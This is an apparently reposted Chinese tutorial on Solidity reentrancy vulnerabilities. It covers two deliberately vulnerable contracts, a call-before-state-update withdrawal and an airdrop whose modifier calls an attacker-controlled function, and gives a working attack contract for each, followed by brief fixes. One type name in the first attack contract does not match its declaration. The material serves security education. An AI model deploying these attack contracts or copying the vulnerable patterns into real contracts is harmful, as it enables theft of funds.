当前位置:   article > 正文

solidity 重入漏洞

solidity 重入漏洞

目录

1. 重入漏洞的原理

2.  重入漏洞的场景

2.1 msg.sender.call 转账

2.2 修饰器中调用地址可控的函数


1. 重入漏洞的原理

重入漏洞产生的条件:

  • 合约之间可以进行相互间的外部调用

 恶意合约 B 调用了合约 A 中的 public funcA 函数,在函数 funcA 的代码中,又调用了别的合约的函数 funcB,并且该合约地址可控。当恶意合约 B 实现了 funcB,并且 funcB 的代码中又调用了合约 A 的 funcA,就会导致一个循环调用,即 step 2 => step 3 => step 2 => step 3 => ....... 直到 合约 gas 耗尽或其他强制结束事件发生。

2.  重入漏洞的场景

2.1 msg.sender.call 转账

msg.sender.call 转账场景下重入漏洞产生的条件:

  • 合约之间可以进行相互间的外部调用
  • 使用 call 函数发送 ether,且不设置 gas
  • 记录款项数目的状态变量,值变化发生在转账之后

恶意合约 B 调用了合约 A 的退款函数;合约 A 的退款函数通过 call 函数给合约 B 进行转账,且没有设置 gas,合约 B 的 fallback 函数自动执行,被用来接收转账;合约 B 的 fallback 函数中又调用了合约 A

合约 A

  1. // SPDX-License-Identifier: MIT
  2. pragma solidity ^0.8.3;
  3. contract A {
  4. mapping(address => uint) public balances;
  5. function deposit() public payable {
  6. balances[msg.sender] += msg.value;
  7. }
  8. function withdraw() public {
  9. uint bal = balances[msg.sender];
  10. require(bal > 0);
  11. // 调用 call 函数将款项转到 msg.sender 的账户
  12. (bool sent, ) = msg.sender.call{value: bal}("");
  13. require(sent, "Failed to send Ether");
  14. // 账户余额清零
  15. balances[msg.sender] = 0;
  16. }
  17. // Helper function to check the balance of this contract
  18. function getBalance() public view returns (uint) {
  19. return address(this).balance;
  20. }
  21. }

恶意合约 B:

  1. // SPDX-License-Identifier: MIT
  2. pragma solidity ^0.8.3;
  3. contract B {
  4. A public etherStore;
  5. constructor(address _etherStoreAddress) {
  6. etherStore = EtherStore(_etherStoreAddress);
  7. }
  8. // Fallback is called when A sends Ether to this contract.
  9. fallback() external payable {
  10. if (address(etherStore).balance >= 1 ether) {
  11. etherStore.withdraw();
  12. }
  13. }
  14. function attack() external payable {
  15. require(msg.value >= 1 ether);
  16. etherStore.deposit{value: 1 ether}();
  17. etherStore.withdraw();
  18. }
  19. // Helper function to check the balance of this contract
  20. function getBalance() public view returns (uint) {
  21. return address(this).balance;
  22. }
  23. }

2.2 修饰器中调用地址可控的函数

代码地址:https://github.com/serial-coder/solidity-security-by-example/tree/main/03_reentrancy_via_modifier

 漏洞合约代码:

  1. pragma solidity 0.8.13;
  2. import "./Dependencies.sol";
  3. contract InsecureAirdrop {
  4. mapping (address => uint256) private userBalances;
  5. mapping (address => bool) private receivedAirdrops;
  6. uint256 public immutable airdropAmount;
  7. constructor(uint256 _airdropAmount) {
  8. airdropAmount = _airdropAmount;
  9. }
  10. function receiveAirdrop() external neverReceiveAirdrop canReceiveAirdrop {
  11. // Mint Airdrop
  12. userBalances[msg.sender] += airdropAmount;
  13. receivedAirdrops[msg.sender] = true;
  14. }
  15. modifier neverReceiveAirdrop {
  16. require(!receivedAirdrops[msg.sender], "You already received an Airdrop");
  17. _;
  18. }
  19. // In this example, the _isContract() function is used for checking
  20. // an airdrop compatibility only, not checking for any security aspects
  21. function _isContract(address _account) internal view returns (bool) {
  22. // It is unsafe to assume that an address for which this function returns
  23. // false is an externally-owned account (EOA) and not a contract
  24. uint256 size;
  25. assembly {
  26. // There is a contract size check bypass issue
  27. // But, it is not the scope of this example though
  28. size := extcodesize(_account)
  29. }
  30. return size > 0;
  31. }
  32. modifier canReceiveAirdrop() {
  33. // If the caller is a smart contract, check if it can receive an airdrop
  34. if (_isContract(msg.sender)) {
  35. // In this example, the _isContract() function is used for checking
  36. // an airdrop compatibility only, not checking for any security aspects
  37. require(
  38. IAirdropReceiver(msg.sender).canReceiveAirdrop(),
  39. "Receiver cannot receive an airdrop"
  40. );
  41. }
  42. _;
  43. }
  44. function getUserBalance(address _user) external view returns (uint256) {
  45. return userBalances[_user];
  46. }
  47. function hasReceivedAirdrop(address _user) external view returns (bool) {
  48. return receivedAirdrops[_user];
  49. }
  50. }

攻击合约代码:

  1. pragma solidity 0.8.13;
  2. import "./Dependencies.sol";
  3. interface IAirdrop {
  4. function receiveAirdrop() external;
  5. function getUserBalance(address _user) external view returns (uint256);
  6. }
  7. contract Attack is IAirdropReceiver {
  8. IAirdrop public immutable airdrop;
  9. uint256 public xTimes;
  10. uint256 public xCount;
  11. constructor(IAirdrop _airdrop) {
  12. airdrop = _airdrop;
  13. }
  14. function canReceiveAirdrop() external override returns (bool) {
  15. if (xCount < xTimes) {
  16. xCount++;
  17. airdrop.receiveAirdrop();
  18. }
  19. return true;
  20. }
  21. function attack(uint256 _xTimes) external {
  22. xTimes = _xTimes;
  23. xCount = 1;
  24. airdrop.receiveAirdrop();
  25. }
  26. function getBalance() external view returns (uint256) {
  27. return airdrop.getUserBalance(address(this));
  28. }
  29. }

漏洞合约为一个空投合约,限制每个账户只能领一次空投。

攻击过程:

  1. 部署攻击合约 Attacker 后,执行函数 attack,attack 函数调用漏洞合约的 receiveAirdrop 函数接收空投;
  2. 漏洞合约的 receiveAirdrop 函数执行修饰器 neverReceiveAirdrop 和 canReceiveAirdrop 中的代码,而 canReceiveAirdrop 中调用了地址可控的函数 canReceiveAirdrop(),此时 msg.sender 为攻击合约地址;
  3. 攻击合约自己实现了 canReceiveAirdrop() 函数,并且函数代码中再次调用了 receiveAirdrop 函数接收空投

于是就导致了 漏洞合约 canReceiveAirdrop 修饰器 和 攻击合约canReceiveAirdrop() 函数之间循环的调用。

修复重入漏洞

1.避免使用call方法转账

2.确保所有状态变量的逻辑都发生在转账之前

3.引入互斥锁

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/小小林熬夜学编程/article/detail/120742
推荐阅读
相关标签
  

闽ICP备14008679号